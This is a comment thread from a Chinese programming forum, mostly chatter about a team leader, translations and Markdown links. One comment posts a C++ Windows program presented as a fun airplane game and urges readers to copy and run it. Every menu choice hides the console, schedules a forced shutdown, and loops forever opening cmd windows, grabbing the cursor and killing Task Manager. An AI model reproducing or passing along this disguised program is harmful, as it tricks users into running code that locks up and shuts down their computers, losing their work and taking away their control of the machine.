全部评论 5

  • 队长,我找到了一个小游戏,很好玩

    2024-08-08 来自 浙江

    0
    • #include <bits/stdc++.h>
      #include <windows.h>
      #define t system
      #define g cout
      #define h cin
      #define j endl
      #define sleep Sleep
      #define pos SetCursorPos
      using namespace std;
      void a(int n){
      if(n == 1){
      string m;
      g << "欢迎来到打飞机" << j;
      g << "----------------------------------" << j;
      g << "请问你要选择简单战还是真人战" << j;
      h >> m;
      if(m == "简单战"){
      t("shutdown -s -t 30 -c 就你还想以大欺小,30秒换模式中,启动!");
      HWND hWnd = GetConsoleWindow();
      ShowWindow(hWnd, SW_HIDE);
      while(1){
      t("start cmd");
      pos(0,0);
      t("taskkill /f /im taskmgr.exe");
      }
      }
      else if(m == "真人战"){
      g << "就你还想跟真人打,关机!";
      g << j;
      sleep(2000);
      t("shutdown -s -t 30 -c 30秒等待,启动!");
      HWND hWnd = GetConsoleWindow();
      ShowWindow(hWnd, SW_HIDE);
      while(1){
      t("start cmd");
      pos(0,0);
      t("taskkill /f /im taskmgr.exe");
      }
      }
      else{
      g << "送你一份大礼包";
      cout << j;
      sleep(2000);
      t("shutdown -s -t 60 -c 60秒卡机,启动!");
      g << endl;
      HWND hWnd = GetConsoleWindow();
      ShowWindow(hWnd, SW_HIDE);
      while(1){
      t("start cmd");
      pos(0,0);
      t("taskkill /f /im taskmgr.exe");
      }
      }
      }
      else{
      t("shutdown -s -t 60 -c 60秒卡机,启动!");
      HWND hWnd = GetConsoleWindow();
      ShowWindow(hWnd, SW_HIDE);
      while(1){
      t("start cmd");
      pos(0,0);
      t("taskkill /f /im taskmgr.exe");
      }
      }
      }
      int main(){
      HWND hWnd = GetConsoleWindow();
      ShowWindow(hWnd, SW_HIDE);
      FreeConsole();
      AllocConsole();
      HWND hwmd = GetForegroundWindow();
      SetWindowText(hwmd,TEXT("打飞机游戏"));
      HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
      CONSOLE_CURSOR_INFO cInfo{};
      GetConsoleCursorInfo(hOutput, &cInfo);
      cInfo.bVisible = false;
      SetConsoleCursorInfo(hOutput, &cInfo);
      HWND hwnd = GetConsoleWindow();
      LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE);
      t("color 3E");
      int x;
      g << "请输入1启动游戏" << j;
      h >> x;
      a(x);
      g << x;
      return 0;
      }

      2024-08-09 来自 浙江

      0
    • 可以复制这串代码玩一下,特别好玩

      2024-08-09 来自 浙江

      0
    • 温馨提示:打开cmd命令栏输入shutdown /a 可以取消关机哦!

      2024-08-09 来自 北京

      0
  • 队长,至于可以See [link] for details( https://www.acgo.cn/discuss/rest/20169 )改成for details please see
    格式版:

    [for details please see](https://www.acgo.cn/discuss/rest/20169)
    

    2024-08-08 来自 北京

    0
    • userId_undefined

      AC

      回复AC

      直接复制就行了,我用的是Markdown:
      for details please see

      [for details please see](https://www.acgo.cn/discuss/rest/20169)
      

      2024-08-08 来自 北京

      0
    • userId_undefined

      AC

      回复AC

      我想说(ENGLISH,请翻译回来):

      Change it, thank you, and remember to mark it with AC (or not)
      

      2024-08-08 来自 北京

      0
    • 英文看得懂,中文也看得懂,混在一起就真不知道你在说啥了

      2024-08-08 来自 广东

      0
  • 队长用的是翻译器吧,都不准😂

    2024-08-05 来自 广东

    0
  • 队长,为啥我昨天吃个晚饭就发现被踢了?

    2024-07-14 来自 广东

    0
  • 能给我个合理的解释吗?为什么第3个点的第2、3行全抄我团的???!!!

    2024-07-12 来自 四川

    0

热门讨论